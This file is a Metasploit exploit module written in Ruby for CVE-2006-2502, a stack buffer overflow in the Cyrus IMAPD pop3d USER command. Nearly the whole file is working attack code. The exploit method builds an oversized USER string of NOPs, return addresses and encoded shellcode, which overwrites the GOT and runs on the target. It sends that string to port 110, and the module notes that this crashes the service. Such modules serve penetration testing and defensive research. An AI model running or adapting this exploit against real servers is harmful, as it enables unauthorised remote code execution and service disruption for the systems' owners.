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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow',
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        'Description' => %q{
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          This exploit takes advantage of a stack based overflow.  Once the stack
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          corruption has occurred it is possible to overwrite a pointer which is
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          later used for a memcpy. This gives us a write anything anywhere condition
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          similar to a format string vulnerability.
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          NOTE: The popsubfolders option is a non-default setting.
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          I chose to overwrite the GOT with my shellcode and return to it. This
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          defeats the VA random patch and possibly other stack protection features.
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          Tested on gentoo-sources Linux 2.6.16. Although Fedora CORE 5 ships with
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          a version containing the vulnerable code, it is not exploitable due to the
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          use of the FORTIFY_SOURCE compiler enhancement.
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        },
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        'Author' => [ 'bannedit', 'jduck' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2006-2502' ],
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          [ 'OSVDB', '25853' ],
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          [ 'BID', '18056' ],
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          [ 'EDB', '2053' ],
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          [ 'EDB', '2185' ],
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          [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-05/0527.html' ],
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        ],
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        'Payload' => {
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          'Space'	=> 250,
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          'DisableNops' => true
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        },
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        'Platform'	=> 'linux',
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        'Targets' => [
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          # bannedit: 0x080fd204
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          # K-sPecial: 0x8106c20 (debian 3.1 - 2.6.16-rc6)
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          [ 'Gentoo 2006.0 Linux 2.6', { 'Ret' => 0x080fd318 } ],
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        ],
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        'Privileged'	=> true,
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        'DisclosureDate'	=> '2006-05-21',
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        'DefaultTarget'	=> 0,
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        'Notes' => {
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          'Stability' => [CRASH_SERVICE_DOWN],
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          'SideEffects' => [IOC_IN_LOGS],
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          'Reliability' => [UNRELIABLE_SESSION]
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        }
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      )
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    )
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    register_options([ Opt::RPORT(110) ])
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  end
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  def exploit
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    connect
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    banner = sock.get_once.to_s.strip
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    print_status "Banner: #{banner}"
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    # NOTE: orig poc shellcode len: 84
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    # kcope: 352+84+86+4 (nops,sc,nops,ret)
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    # K-sPecial: 84+(120*4) (sc,addrs)
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    # bannedit: 265+8+250+29+16
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    shellcode = payload.encoded
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    buf = 'USER '
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    buf << make_nops(265)
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    # return address
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    buf << [target.ret].pack('V') * 2
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    buf << make_nops(250 - shellcode.length)
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    buf << shellcode
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    buf << make_nops(29)
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    sc_addr = target.ret - 277
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    buf << [sc_addr].pack('V') * 4
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    buf << "\r\n"
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    sock.send(buf, 0)
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    disconnect
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  end
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end
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